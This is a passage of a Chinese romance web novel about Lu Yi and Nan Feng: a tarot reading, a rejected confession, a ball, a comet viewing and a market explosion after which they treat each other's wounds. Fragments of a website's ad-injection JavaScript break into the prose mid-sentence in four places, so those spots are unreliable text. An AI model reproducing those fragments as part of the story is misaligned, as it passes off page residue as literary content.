陆易听后眼前一亮,显然对这个结果感到十分满意,于是迫不及待地指了指第二张:“那这张呢?这张画得这么复杂,表达了什么?” “玫瑰代表生,百合代表死亡。这张牌预示着精神永恒。”见他一脸疑惑,老婆婆继续解释道:“心有灵犀一点通。表示你们两个人在一起做事默契十足,心灵契合,思想共鸣。第三张,复活的喜悦,爱的奇迹。” 复活的喜悦?陆易不解:“是表示我们会产生矛盾分手,然后又复合了吗?”婆婆的神色有了一丝变化,她迟疑了一下,后垂下眼附和道:“你也可以这样理解。” 真是一副好牌!陆易笑着掏外衣口袋,觉得此刻的自己充满了斗志。付过钱后,老人家忽然握住他的手腕将他往自己这边扯了扯,布满沟壑褶皱的另一只手掌抚上他的手背,慈爱地拍了拍:“既是开始也是结束,反之亦然。好好享受这段时间吧,漂亮善良的孩子!” 就在他发愣之际,卖报的吆喝声响起吸引了所有人的关注,市场上顿时一片骚动。陆易顾不上思考婆婆给的忠告,趁被围得水泄不通之前快速跑回饭店与经理商谈房间月租的问题。 流动的热水将汗水和二十多年来的阴霾一同洗净,蒸汽在浴室里弥漫,模糊的镜子前,男人每一寸麦色皮肤都在散发着重生的光辉。十分钟后,陆易围了一条浴巾从浴室出来,身上的肌肉线条紧实流畅没有一丝赘余。他将包里的替换膏药拿出来扔进垃圾桶,换上干净的衬衫,擦干净皮靴,他看着镜子里陌生的自己,嘴角止不住地上扬。 * 下午3点49分,阳光灿烂,万里无云。通常遇上 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 这样的好天气,南枫总会将躺椅搬到户外然后悠哉悠哉地躺下,工作一会儿,看看书再发会儿呆,如此循环。可惜今天却完全没了兴致,因为她还在为那枚拔不下来的戒指伤脑筋。 “咚咚!” 敲门声响起,她以为是爸爸带着肥皂回来了,迫不及待地跑去开门,可引入眼帘的却不是南淇坤也不是任何人的脸,而是一束被推到眼前的漂亮小雏菊。视线被鲜花占据,嫩黄色的小小花蕊还带着新鲜的泥土颗粒,向四周延伸出无数只白色的细小翅膀,精美又淳朴。 南枫一脸错愕,刚想开口询问来人的身份,那人就把花放下了。 这是个三十岁左右的陌生男人,个子高高的,从裸露的小臂线条可以看出来有常年健身的习惯。他穿着一件浅草色上衣,衬衣下摆被扎进一条深棕色西裤,脚上是一双锃亮的黑色皮靴。他的肤色微深,眉毛浓密,长而微卷的睫毛下是一对深邃又不失柔情的双眸,如艳阳照耀下一池柔静的湖水,吸引着她纵深跃入湖底,泛起阵阵涟漪。 女孩显然是被他的动作吓到了,她睁着圆圆的眼睛,微张着淡粉色的唇,惊慌失措却楚楚动人,看地陆易不自觉放大笑容。黑亮的长发顺着她饱满的头骨向下,编织成一股蓬松的麻花辫落在左肩,脸颊两侧微微弯曲的碎发为她清冷的气质增添了几分柔情。她穿着一件纯色亚麻连衣裙,未施粉黛,刚好是陆易幻想中的样子。 他终于见到她了! 几秒的沉默后这个好看的陌生男人才站直了身体开始自我介绍:“你好,我叫陆易。我喜欢你。”他的牙齿洁白整齐,笑容温柔有力,说出的话却让人大跌眼镜。而他显然没有看出女孩的窘迫,眼睛里仿佛住进了星星,盛满炽热的爱意:“虽然你不认识我,我也还不知道你的名字,但是我确定我喜欢你。不知道你是否愿意给我一个机会让我了解你,也让你……” 陌生的怪男人越说越认真,南枫掐了一下左手虎口,终于开始紧张:“对不起,我订婚了!”她急中生智编出了一个完美的理由,并将自己的戒指展示给他看。这下轮到陆易沉默,男人好看的眉眼定格在她纤细的无名指上,眼里的光彩仿佛被绚烂的宝石夺走了光芒,忽地冷了下去。 “我已经订婚了,不好意思。”见他没反应,南枫略显心虚地重复了一遍。 男人面如死灰像是受到了不小的打击,他低下头,双臂低垂,手里的鲜花落了一些在地上,好似随他一起失去了活力:“抱歉,我,我没有考虑到。”他的心像是被绑在了一块大石头上,然后被无情地抛进了大海。陆易咽了咽喉咙,努力平复失落的心情,越说越小声,“不好意思,打扰了。” 离开前最后一次抬头看她,陆易在心里郑重地与自己美好却只能被辜负的暗恋做最后的道别:“我的名字是——陆、易。祝你订婚快乐!”说完,他将手里的花递给了她,他的手指修长,指甲修剪得干净整齐。南枫犹豫了一下还是接过,并小声地说了声“谢谢”。 陆易勉强弯了弯唇角,自嘲失礼,落寞地转身离开了。南枫站在门口目送男人下山,她看着他的背影自顾自地嘀咕了一句这个第一次出现在她生命里的名字。 5. 舞会 陆易颓废地趴在饭店的双人床上,面朝窗户,朝气尽失。太阳光通过窗帘的缝隙直射在黯然失色的瞳孔上,琥珀色的夕阳眷顾失落的心脏,陆易却觉得太过刺眼。不愿被触碰,他侧过脑袋换了一个方向,不想正好对上了房间内的全身镜。 不过短短一个小时,镜子里的表情却发生了翻天覆地的变化。他凝视着镜子里的人,困惑自己这是怎么了?没怎么,只是又变回了以前的那个陆易——一个满心绝望,破碎的人。他烦闷地眨了眨眼,好像这样就可以把刚刚的事情翻篇。 集市上的叫卖声不绝于耳,陆易蹙眉爬下床,将窗户和窗帘全部关上后重新躺回去,但恶魔还是没有放过他。黑暗与寂静将他拖入孤独的深渊,四周仿佛爬满了吐着信子的蛇正在慢慢向他靠近,只要他不反抗下一秒就可能被吞食入腹。陆易用双手撑着床支起上半身,额前的碎发凌乱地遮蔽幽瞳,他伸长右臂靠记忆摸索按钮的位置成功打开了收音机——他需要一点声音。 男人翻了个身仰躺在床上,在播报员磁性的低音中寻到了一丝安慰,大脑也从混沌慢慢转醒。他不是一个冲动的人,而且遇事向来谨慎、考虑周全,成长经历让他很难对一个人或一件事情产生较大的情绪波动。 在孤儿院他便学会了察言观色,当其他小孩因吃不饱饭肆意哭闹的时候,他发现大人们除了责罚并没有满足他们的任何需求,于是陆易懂得了:索取没有用,给你什么就接受什么,给你多少就拿多少。 等大了一些,他回到了别人口中所谓的“家”。自从来到这里,每日夜里总能听见陆太太歇斯底里的哭喊,带着失去孩子的悲痛以及对陆家父子的咒骂。陆太太不愿意面对他,更不愿意与他在一张餐桌上用餐,即便陆易几乎没见她出过房门。下人们只能按照吩咐将他的那一份餐食单独盛出来送到他房里,父亲觉得这样不妥,但陆易却不以为意,能吃上热食就不错了,在哪里吃又有什么关系? 换到新学校后,一次家长会陆太太不请自来,当着老师和全班同学的面对他一顿嘲讽。同学们对他感到好奇,他们带着目的接近他,被陆易轻松识破,这样戏谑的笑容与眼神他在孤儿院的时候早有领教。他们不再叫他陆易,而是给他取了一个代号:野孩子。 一个月后,家里突发大火烧死了陆家上下八口人,陆易因忘了拿作业本返校幸免于难,第二日却得到了另一个称号:杀人犯。 即使到了现在,已经成为大人的他依旧保持着小时候的脾性。虽然警察早已还了他清白,但人们依旧对他冷眼相待,称他为煞星,对他避而远之。陆易充耳不闻从不曾为自己辩解什么,终日埋头苦读,直到完成学业,他如释重负地背起行囊,毅然决然地离开了这个只能给他带来痛苦的地方。 不喜不悲不怒。陆易觉得自己活到现在一直都在随波逐流,就像一片掉落的叶子,既然已经被大树抛弃那就顺着溪水去往它愿意带他去的地方吧。他以为自己会一直这样下去直到结束这一生,可为什么就突然那样做了呢?她的未婚夫会是个什么样的人呢?她幸福吗?他希望她可以很幸福。 * 自从南枫把戒指还回去之后顾嘉诚就开始躲着她,顾嘉诚小孩子脾气,平日里会在她讲课期间不断进出打扰,给她送吃的喝的,找她聊天,可这几日在门口碰到了却只是别扭地撇过头,连招呼都不打就气鼓鼓地走了。南枫不愿意一直这样下去,奈何顾少腿长走得快,她连追都追不上。 严家两位公子要参加舞会的消息传遍了大街小巷,城里的单身女孩们个个兴致冲冲。要南枫说最有机会的还是林影,毕竟也只有林家能和严家打个平手,不过也要她喜欢才行。林影显然也是做足了准备,倒不是她着急结婚,而是家里给她下了命令,如果她自己找不到结婚对象那就只能接受相亲了,同样的,对严家而言林影也会是他们最好的选择。 这天下课后顾家大门口停了一辆熟悉的车,南枫走过去轻叩玻璃窗,随着车窗缓缓向下,林影那灵动搞怪的小表情一出现南枫便知道她为何而来。今晚必定会是一场激烈的厮杀,拒绝的话刚要说出口,林小姐却已经摆好可怜兮兮的表情冲她撒娇讨好。 十分钟后,南枫出现在林大小姐房间看换衣秀。 礼服扔了一地,全是她试过不喜欢的,林影不开心地嘟着嘴,脸皱得跟个小包子一样。这时,女仆气喘吁吁地跑进来,将寄予厚望的最后一件礼裙递给林小姐,林影接过后对着镜子比了比,终于满意地笑了。小姑娘如释重负,擦了擦额头上的汗水出去了,林影则踮着脚尖寻找落脚处,一路蹦蹦跳跳地来到南枫跟前。 她的表情不怀好意,南枫只瞄了一眼就看懂了,她随手拿起一边的杂志翻了起来,决定先发制人:“这么上心,看来你很满意这位严公子。” “啊?”林影果然忘了自己一开始要说的话,“我看过照片,人确实长得很好看,要是个性也一样好就好了!” 南枫闻言扬了扬眉,“那你比较喜欢哪一个?哥哥还是弟弟。” “当然是弟弟了,哥哥从一开始就不在我的考虑范围内。” 南枫好奇地抬起头,“为什么?他们同父同母,弟弟好看的话哥哥应该也差不到哪里去吧?” 林影不知道哥哥长什么样,她只知道只有弟弟严峻笙能通过父亲的标准,因为严峻笙才是严家未来的继承人,至于哥哥严峻铖,据说他常年在外忙自己的事,这次的舞会也不会来了。 南枫闻言点了点头,正准备翻下一页呢,林影突然一屁股坐到她身边,问起顾嘉诚向她求婚又被拒绝的事情。该来的还是来了,南枫猜到她肯定会提起这事,便问她是从哪里知道的。自然是顾嘉诚告诉她的,顾嘉诚想给南枫惊喜却不知道她手指的尺寸,所以才一大早跑来低声下气地求赐教。 南枫把事情经过大致讲了一遍,想到如今两人之间尴尬的气氛,她的表情颇为无奈。林影跟着叹了一声气,伸出食指在唇上点了点,这是她习惯性的动作:“虽然是我给他提供的情报,但我从一开始就认为他胜算不大,你会拒绝他我一点都不觉得奇怪。怎么样,我是不是很了解你啊?”说着,她将脸凑到南枫面前,笑脸嘻嘻地求表扬。 听到这,南枫果断将手伸到好友眼前,故意装出责怪她的样子,“你还好意思说最了解我,是我最好的朋友吗?”三天了,无名指上那一圈红红的印记还在,是被戒指勒出来的。果不其然,某人又使出了泪眼汪汪装可怜必杀技。南枫不再逗她,摸摸她的脑袋夸奖道:“其实也不是,虽然你记错了我的尺寸却帮了我另一个忙,这样看来你还真不愧是我最好的朋友啊!” 林影一脸懵:“啊?什么意思?” 南枫笑笑:“没什么意思。” * 严峻笙和林影自然是全场最关注的两个焦点,男士们对林大小姐频频示好,女士们则纷纷冲严公子抛媚眼,直到严峻笙主动邀请林影共舞一曲才彻底结束了这一群人的痴心妄想。南枫发誓,在严峻笙的手搂上林影腰的那一刻,她听到了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 无数男女心碎的声音。 舞会上,南枫游刃有余地敷衍着她不感兴趣的男士们,得空便躲到阳台上待着。想起一开始的时候她对于舞会是十分期待的,因为她很少有机会参加这样的聚会,也想看看到底是怎样灯红酒绿的生活让无数年轻男女流连忘返,直到她认识了林影。 她们两个个性互补还能玩到一起,林影时常感叹自己要是有个哥哥就好了,或者哪怕有个弟弟,这样一来她就可以撮合他们在一起,让南枫和自己成为真正的一家人。 有钱人的舞会确实奢侈,这样大的场地一个晚上的费用肯定不便宜,更何况是现如今大家收入都大打折扣的情况下。他们还热衷于给每一场舞会定主题,不同的主题场地的装饰都要跟着变动,又是一大笔支出。 舞会,所谓富贵人家年轻男女的交友圣地。绚烂夺目的水晶灯高高地挂着,与桌面上整排晶莹剔透的酒杯交相呼应。男士们西装革履,女士们更是像无数枝盛开的娇艳花朵。两对夫妇攀谈了一阵,最后以两位男士不约而同地拍着对方的肩膀说要订娃娃亲收场,这样的类似对话在今天晚上已经是南枫第四次听到。 这些有钱人的婚姻大多数能够实现并不取决于双方是否相爱,更多的是家族之间财富与权利的衡量比较。南枫美丽大方,像这样的单身女性出现在舞会上总是会引起骚动的,更何况身边还有一位无人不识的林家大小姐,免不了被一顿打听。 但是她再清楚不过,像她这样普通人家的女孩如果真的傻到去认真对待对她献殷勤的男士们,最后大概率不是沦为见不得人的情妇就是被抛弃,她可不愿意变成那样的可怜虫。 稍不留神身后又站了一位直勾勾盯着她看的男人,眼神无礼且带着浓厚的邪性,甚至连她的头发丝都没放过。人人都喜欢美好的人事物,但究竟是欣赏还是冒犯她分得清。对方死缠烂打,南枫开始有些招架不住。 顾嘉诚赶来的时候就看到她皱着眉头一脸不耐烦的样子,他还在闹别扭,本想着晚点出手救她好让她吃点苦头顺便解解气,谁知那人竟作势要去搂南枫的腰,他便再也管不了那么多了。 “谢谢。”半分钟的沉默后最后还是南枫忍不住先开口,“今天的西服挺好看的!” 顾嘉诚皱着眉看她:“你在开玩笑吗?” “嗯?” 她喝得脸红扑扑的,整个人比平日里多了几分乖巧和无辜。顾嘉诚盯着她雾蒙蒙的双眼表情终于缓和了一些,他扯了扯打得过紧的领结,委屈地说道:“每次参加舞会不都是一身黑,怎么今天就好看了?” 看不出来她这是在缓和气氛吗?真是个不知好歹的家伙! 见她不开心,顾嘉诚摸摸后脑勺,对自己前些日子鲁莽的行为做出诚挚的道歉。提起这个话题确实让场面变得更尴尬了,但事情总归是要解决的,南枫并不觉得他有需要道歉的地方,只希望他们能把话说清楚后继续当朋友。顾嘉诚没接话,因为他不甘心只是朋友。 南枫:“怎么?你是真打算跟我老死不相往来了吗?” 当然不是,他哪里舍得真的不理她呢? 南枫:“那你这几天见我就跑做什么?” 其实顾嘉诚是怕南枫会因此疏远他,他真怕她会对他说出“以后保持距离”这样的话,所以才躲开不让她逮到机会。顾嘉诚摸着后脑勺支支吾吾了半天,南枫知道他这是又不好意思了,故作生气状斥责道:“下不为例!” 两个人对视了一眼,都没忍住笑了。 6. 她的名字 每回南枫晚归南淇坤总是会将大门口的廊灯亮着,因为怕女儿走不好夜路摔着自己。感谢爸爸留的这盏灯才让她得以看清眼前这诡异的一幕——大半夜的,一个男人赤膊上身在跑步......真是个怪人。 半山城的治安一向很好,正因为这样她从来没有带防身武器在身上的习惯,更何况每次晚归都是与林影或顾嘉诚在一起,不是顾嘉诚开车送她就是林家的司机先生送她回来,偏偏今天喝得有些多,她想走几步路散散酒气就没让司机送到大门口。 如今经济形势不好,城里确实发生了几起偷抢事件。山上就他们一户,也不是起眼的房子,一看就是普通人家,况且还是上坡路,来一趟太耗费精力,本以为他们不会把主意打到这来的,现在看来倒是她想得太简单了。不过这人看起来只是在跑步并没有其他目的,毕竟按照常理来说应该没有强盗或小偷会在犯罪地点这么明目张胆地热身才对。 南枫躲在墙后盯着鞋跟研究了一番,虽然鞋跟没多高但好歹也是她全身上下唯一能派得上用场的。她将鞋子脱下紧紧握在手里,等着远处那人跑完这一圈绕到她这儿,她一定要好好跟他强调一下——这片草地属于私人住宅区,不允许他这样乱来! 另一边,自从那天表白被拒绝后,颓废了几日的陆易正在尽情挥洒汗水排解心中的烦闷。他不是来这里制造偶遇的,所以当他看见凭空出现的人时是又惊又喜。他终于再次见到她了!她的突然出现仿若清风拂过带走了他的疲倦与阴霾,只留下最纯粹的喜悦。 今天的她和第一次见到的不太一样,她穿了一件嫩黄色无袖长裙,勾勒出线条优美的腰线,较低的弧形领口完美贴合雪白的皮肤。针织的制作工艺却丝毫不显厚重,让裙子看起来不至于太隆重却有着恰到好处的体面。头发全部梳到脑后盘成一个松散的发髻露出修长的脖子,锁骨若隐若现,妩媚动人。 她就站在灯光下静静地望着他,陆易便不受控制地向她走去,如同第一次见到她的时候一样,她只是这样远远站着就令他心动不已。 待他走近,陆易发现她今天不仅穿得好看,还化了妆,小巧的珍珠耳环为她增添了一丝别样的成熟韵味。这一身打扮估计是和未婚夫刚约会回来吧?想起她即将成为人妻的事实,陆易眼里原本弥漫着如春日早晨湿雾的柔情忽地一下子褪去,他收回目光退后几步,保留了一定距离。 “你是上次那个人。”她认出了他。 “你好,我叫……” “陆易。”她脱口而出。 原来她还记得他。 “你这么晚在这里做什么?” “我睡不着来锻炼的,如果打扰到你们休息的话我现在马上走。” “这样啊。”女人点点头,轻飘飘地丢下这么一句就径直从他身边走过。她赤脚踩上草坪,走了几步发现他站着没动,便转过头盯着他示意他跟上。 她欲席地而坐,陆易怕脏了她的漂亮衣服便出声阻止了她,后连忙跑去捡起自己的衬衣铺在草地上。南枫觉得这样不好,但男人执意如此,她犹豫了半秒还是坐下了。喝了酒后感觉脑子闷闷的,此刻小腿处裸露的皮肤接触到冰凉的草地让她觉得舒服了很多。 见男人依旧站着,南枫仰起头问道:“你不坐吗?” 陆易语气严肃克制:“太晚了,被你未婚夫看见了不好。”他决定站着陪她,等她休息够了进屋后他再走。 “未婚夫?我没有……哦。” 南枫差点就忘了自己撒过的谎,好在她及时打住了。陆易的眼神却突然变得犀利,盯得她有些心慌。南枫心虚地低下头开始圆谎:“不会的,他不是小气的人。”男人没接话,只是瞄了一眼她因紧张而表现出不安的双手,若有所思。 南枫抿了抿唇:“即便即将成婚,女性还是拥有和其他异性/交谈的权利的吧!” 她这么一说,倒是显得他有些老古董了,陆易犹豫了两秒后在她旁边坐下。 “你叫陆易,哪个易?” “容易的易。” 南枫点点头道:“寓意还蛮好的。” 陆易轻声笑了笑,没说话。 她又问:“你是本地人吗?看着脸生。” 陆易哽住了,遇见她之后就被幸福冲昏了脑袋,他掉入了甜蜜幻境,完全忘记了他身上那些不被人们所接受的过往。她知道那件事吗?他应该告诉她吗?说了之后她会不会马上翻脸?会不会让他离她远一点?她会不会也厌恶他?陆易的表情惶恐不安,似乎正面对一些让他难以启齿的事。 “不方便的话可以不回答。”南枫十分善解人意,虽然她不明白为什么他会被这么简单的问题难住,“那可以问你的年龄吗?” “29。” “你以前见过我吗?我是说,在我们上一次见面那天之前。” “没见过。” 南枫起了兴致,一脸探究地看向他:“那你就这样跟第一次见面的人表白啊?” 陆易原本一直盯着地面,面对拷问方寸大乱。怕她误会自己是变态,他头一次觉得有必要跟人解释清楚,心里七七八八地凑出了几个句子出来,却在抬头对上她清澈明亮的眼睛时怔住了。她长得很温柔,眼神却活泼调皮,性格也很直接。他知道这样不应该,可动心这事由不得他控制。 四目相对,后方门廊的尾光打在他骨骼分明的侧脸,男人因紧张轻微晃动的喉结看得南枫心乱如丝。她的目光不自觉地顺着他的脖子往下看,直到看见陆易结实的腹部肌肉……心跳忽然加速,她故作镇定地收回目光看向反方向,小声叹气,为自己的失礼感到不好意思。 陆易当然不知道她这一段心路历程,见她扭过头去,还以为是生气了。 “我不是随便的人。”陆易不愿意她误会自己,“那天是我第一次见你。也许你会觉得很荒唐,当然,谁会不那样觉得呢?一个陌生男人突然说喜欢自己,换做是我也会觉得那是个不怀好意的坏人。可那就是我见到你第一眼的真实感受,我自己也说不清楚原因。” 没有理由的喜欢,听着就像那些舞会上花花公子们的说辞,可从他嘴里说出来却意外得真诚。也许没有理由的喜欢是存在的吧,就是一种突如其来的奇怪感觉,就好比她和林影友情的开始,只因为他是男人南枫便对他有了戒心,质疑他“喜欢”的真实性,这样想来有失公平。 南枫转过头看着他,却不说话。陆易紧张地咽了咽喉咙:“我是不是吓到你了?对不起。我不应该那么冲动,更不应该在不知道你是否单身的情况下就贸然表白。我希望这没有给你和你的未婚夫带来困扰,我希望你不要觉得我是个骗子。” 南枫垂下眼,转过头目视正前方,过了一会儿才说道:“嗯,我相信你。” “真的?”陆易喜出望外却有些不敢相信。 “你看起来像 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 是个真诚的人,不像是演的。”和那些油嘴滑舌的公子哥们还是有区别的。 真诚的人吗?陆易想到刚刚并没有坦白自己的真实身份,听到她这么说感到有些羞愧,眉心皱得厉害。 南枫抬手揉了揉太阳穴,夜晚的山风带了些凉意,身体的微凉反倒衬得脑袋更热了,又重又晕,就好像有个人扶着她的头上下左右地摇晃。 陆易看着她,表情担忧:“你喝酒了。头晕吗?或者头痛?” 南枫摇摇头:“不着急回去的话就跟我说说话吧。” 陆易的表情有些为难,他不太擅长和别人聊天:“你知道今晚我为什么会来这边吗?” “你不是说是来锻炼的吗?” “这只是其中一个理由。” “还有其他的原因吗?” “嗯,我是来看彗星的。” “彗星?”南枫双目放光表情十分惊喜,这个答案显然在她的预设范围之外。见她有兴趣,陆易勾起唇角指着头顶的星空划了一下,“夜里12点至1会有一颗七十八年一遇的彗星从这个方向经过。”说完,他掏出口袋里的怀表给她看时间。 南枫突然庆幸自己今晚喝了酒,不然这个时间她早就已经进入梦乡了,好像也应该庆幸今晚在这里遇见了陆易,否则她就只有明天一早看完报纸后遗憾的份:“你是怎么知道的?” 陆易的眼睛亮亮的,完全没了先前闷闷不乐的样子:“听广播知道的,报纸上也有消息,但是刊登在很小的一块角落,估计大家都没有注意到。” 12点46分,彗星来临。 那是一个圆形的耀眼光点,身后拖着长长的蓝色尾巴在夜空中忽闪忽闪,就如她在书里读到过的一样。它在夜空中闪现、滑落,肉眼可见时长仅几秒,但这足以让南枫激动不已。蓝色精灵早已消失不见,她却还是紧盯着夜空不舍得收回目光,好像是在期待它再度光临又仿佛是在回味刚刚惊心动魄的一幕。 陆易温柔地看向她,因她的欢喜感到愉悦:“喜欢吗?” “很漂亮!”南枫冲他开心地笑,“古时候的人们觉得彗星的出现预示着灾难的发生,认定那是一颗灾星。” “你对彗星有研究?” 南枫摇摇头:“我只是看了一些书,我并不认同他们这个说法。” “其实它只是一个小型天体,因为有太阳的存在我们才能看见它。但我更愿意把它想象成一颗外面包裹着冰霜的火焰,这颗冰球被困在宇宙中十分寂寞,于是它选择燃烧自己绕着轨道飞行,哪怕需要经历近一个世纪的时间才能来到这里,但只要它出现过,哪怕只有零点零一秒的登场,只要有一双眼睛看见过,它就可以证明自己存在过,自由过。” 听到陆易不一样的解读让南枫觉得很新鲜,不由地又有些伤感。陆易被她盯得有些害羞,睫毛腼腆地眨动:“怎么了?” “没什么,只是没想到你原来这么文艺。” 陆易不好意思地笑了,如果不是因为天太黑她就会看见他脸颊上泛着薄薄的红晕。两人相视一笑,目光在黑夜中交汇,一种不言而喻的默契悄然生成。时间不早了,南枫起身将地上的衣服捡起来拍了拍还给他。 陆易护送她到门口,南枫开了门却没有马上进去:“我叫南枫,枫叶的枫。” 男人的瞳孔在顷刻间放大,满眼都是喜悦,他受宠若惊般地点了点头,眸底沁满星光。 7. 受伤 近日来集市上骚乱频发,时常可以看见一名瘦弱的男子带着两个模样凶狠的男人在街上东冲西撞。几人言语粗鄙动作粗鲁,瘦弱男子用手指一点,那两个彪形大汉便扑过去抓来人带到他面前确认,只不过来来回回几次都没能找到他们要找的人。 领头的那个嘴巴歪斜,皮肤蜡黄干瘪,身材瘦小得像一只营养不良的猴子,但脾气不小,咋咋呼呼的像个停不下来的弹簧圈。只不过找个人却把整条街闹得鸡犬不宁,甚至面对年迈的老人都没有丝毫的怜惜,将人摆在地上的东西踢得到处都是。 南枫看不下去,把被踢飞的书一本本捡起来送回去。这位老婆婆十分神秘,大家对她的情况知之甚少。她是一年前来到半山城的,没有成婚没有子嗣,整日独来独往。没有人知道她住在哪里,她也从来不对任何人透露自己的信息。因她会占卜还好几次卜中了天象,街上的人便都开始管她叫神婆。 三人组今天依旧一无所获,气地那只瘦猴不断用他尖锐的嗓子高声咒骂,最后咬牙切齿地带着他的人离开了。本就是最忙的时间,见闹事的离开了大家终于松了口气,陈伯也开始卖力吆喝起自家的新鲜排骨。但他也没闲着,这边手里剁着肉,另一边见南枫来了又主动给她解释起事情的来龙去脉。 那三个人是来找老王的,老王欠了他们钱没还人也失踪了,他们在家里找不到人只好天天上市场上挨个搜。南枫对这个老王有点印象,他身材高大体格壮硕,脾气不好经常跟人吵架,不管是和还价的顾客还是其他摊位的摊主,和送水师傅的关系更是差到极点,现在想想确实有好几天没见到他了。 陈伯特别擅长延伸话题,不知不觉都讲到自家儿子的婚恋情况去了,好在神婆及时出声打断了他,毕竟她的摊位就在他的边上,这些话她听了不下十遍,再听耳朵都要坏掉了。南枫也懂得把握机会,连忙蹲下身装出在选书的样子,顺便问问神婆最近的情况。 老人家笑着说自己就是出来摆个摊打发时间,只不过这半年来的情况确实不太好,之前大家还愿意凑个热闹,现在连看都不会看一眼,还自嘲地说自己在大家眼里就是个爱捣鼓这些稀奇古怪玩意儿的疯婆子。但南枫不这样认为,稀奇古怪是但不是疯婆子,她总感觉神婆知道些寻常人不知道的。 她一直关注着婆婆的情况,时常给她送一些新鲜的食材,但无一例外都被她婉拒了。一开始南枫以为是婆婆不好意思收,可这么长时间以来也没见她身体出问题。她每日都出摊,即使摆上一整天却没有一点收入也丝毫不影响心情,偶尔碰到南枫还会热情地招手与她聊上两句,至此之后南枫就不再为此费心了,想必她自己有办法的。 临近中午,南枫起身与婆婆告别,不知怎的忽地一声巨响,就在距离她五十米不到的地方有一辆送水车爆炸了。从没发生过这样的事,街上的多数人都吓地忘了吱声。南枫感觉到一阵眩晕,飞溅的碎片刺进了她的左手手臂,伤口处传来一阵灼热,有几个离得近的被炸伤了腿,倒在地上哀嚎不断。 “南枫!” 她听见有人叫自己,声音很近就在她身后。陆易刚到,看见南枫本想过来和她打个招呼,结果还没来得及就发生了事故。他很快镇定下来第一时间查看她的伤势,还好只有两处伤,面积不大。 “疼吗?” 异物刺进皮肉倒是没流血,可胳膊阵阵作痛根本提不起力气。南枫顺了顺气,声音有些虚弱:“嗯。” 好在警察局就在这附近,出警十分迅速,几个被炸伤腿的人很快就被抬走送医了。陆易想着得赶紧带南枫去把里面的碎片挑出来才行,正要扶她离开,谁料这时又接连传来爆破声,民众终于从震惊中反应过来,开始尖叫连连四散奔逃,场面极度混乱。 陆易护住南枫又扶起婆婆,他将两人安置在隐蔽的角落后朝人群大喊,让他们别乱跑应该贴墙趴下才是,可惜没多少人听得进去,好在警察也在场,那些不听劝的都被强制压倒在地。 爆炸声连响了五六次后停下了,趁着这个空挡,陈伯抱着侥幸心理从地上一跃而起拔腿就跑,多亏陆易眼疾手快冲过去一把将他按在墙上。火药的威力扬起地上的碎石一股脑地砸向了陆易,陈伯不敢置信地回头看着他,内心一阵后怕。 又等了差不多二十多分钟,见不再有动静警方才开始组织大家有序撤离。陆易放开陈伯回到南枫身边,本想着带她去诊所做一下紧急处理,谁知这里早已人满为患。南枫虽然嘴上说不要紧可以等,可她已经疼到额头都出汗了,陆易只好跑去隔壁药店买来一些医疗用品。 “你介意去我房间里处理吗?”他指指隔壁的饭店,“我暂时住这边。诊所排队的人太多了,伤虽然不严重但是需要尽快把异物取出来,我可以帮你处理伤口。” 手臂确实疼得有些发麻,南枫没多想就答应了。 陆易住在四楼朝南的房间里,房间收拾得十分干净整洁。他的东西不多,放置在角落里的一个红色袋子引起了南枫的注意,黄纸、冥币、香,以及一些水果。是他家里有人去世了吗?如果他是本地人那又为何住在饭店里呢?她虽然有些好奇但也不方便打听。 陆易没察觉到南枫的困惑,进入房间后他十分急迫地拉过一张椅子到床边,把从药店买来的东西放在上面然后示意她在床上坐好。南枫穿的开衫袖口比较窄,在得到她的同意后陆易轻轻地帮她褪去外衣,外套里面只穿了一件吊带连衣裙,热热的鼻息落在肩膀裸露的皮肤上让她觉得痒痒的。 虽是疗伤但如此近的距离让南枫有些不好意思起来,她借着调整坐姿偷偷观察着眼前的男人,发现他倒是全神贯注在伤口上,专注得没有一丝杂念,这不免让南枫有些尴尬——他这么正人君子的吗?事实上此刻的陆易确实没有其他心思,只希望尽快帮她减轻疼痛。 被炸的那辆送水车是木质的,有两片木钉子刺进了皮肉,因为爆炸的威力扎得比较深,不及时处理的话会有炎症感染的风险。室内阳光充足,陆易左手握住南枫的胳膊仔细观察,后撑了撑右掌又甩了甩右胳膊,做好准备后拿起镊子对她解释道:“可能会有些疼,你忍着点。” 他的手法娴熟利落,南枫只轻轻“哼”了两声异物已被取出。虽然还有些疼,但至少手臂能活动了,胀麻的感觉在慢慢消退,指尖也恢复到了正常体温。用碘伏为伤口做好消毒再用创可贴贴住,治疗就结束了。 “伤口最近不要碰水,每半天记得换创可贴。”说完他又晃了晃右臂。南枫发觉了不对劲,拉过他的手臂一看,惊呼道:“你也受伤了!你怎么都没说?”她自责自己的疏忽。对啊,他们那时站在一起,碎片肯定也扎到他了。 陆易不以为意地笑了笑,他从小到大受过不少伤,早就习惯了:“没事的,小伤,我可以自己处理。” 他拿起她的外套,弯下腰正准备帮南枫披上,这才注意到她里面穿得清凉单薄。她的皮肤白皙紧致,胸口右上方有一颗小小的黑痣。意识到自己的不应该,他惊恐地睁大双眼并转过身去,这也恰好让南枫看到了他脖子后面密密麻麻的擦伤。 她想起了陆易奋不顾身 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 救陈伯的场景,想来应该就是那个时候伤到的,她想帮忙,不管是出于关心还是感激。 脑海中的画面挥之不去,陆易背对着根本不敢看她:“没事,我自己处理一下就好了。”他的内心十分纠结深陷犹豫不可自拔,他当然是愿意的,也许对于南枫而言是互帮互助,可对他来说没有这么简单。他喜欢她,又知她已经与别的男人有了婚约,所以免不了一番挣扎。 南枫不明白他在倔什么,她站起来,从身后握住他的双臂将人转过来,看着他的眼睛劝道:“你用左手不方便,我帮你吧!而且脖子后面你自己也看不到啊。” “……好,那拜托你了。”他无法拒绝。 两人交换了位置,陆易坐在床上耳尖通红,待南枫给工具做好消毒后,他举起双手在肩膀处划拉了一下:“需要我......”询问是否需要他脱衣服。南枫果断摇了摇头表示不用,结果试了一下发现他的袖子同样挽不了太高,她扶着额头,表情十分无奈,“好吧,你还是......”陆易明白意思,他利索地脱了上衣,全程不敢看她的眼睛。 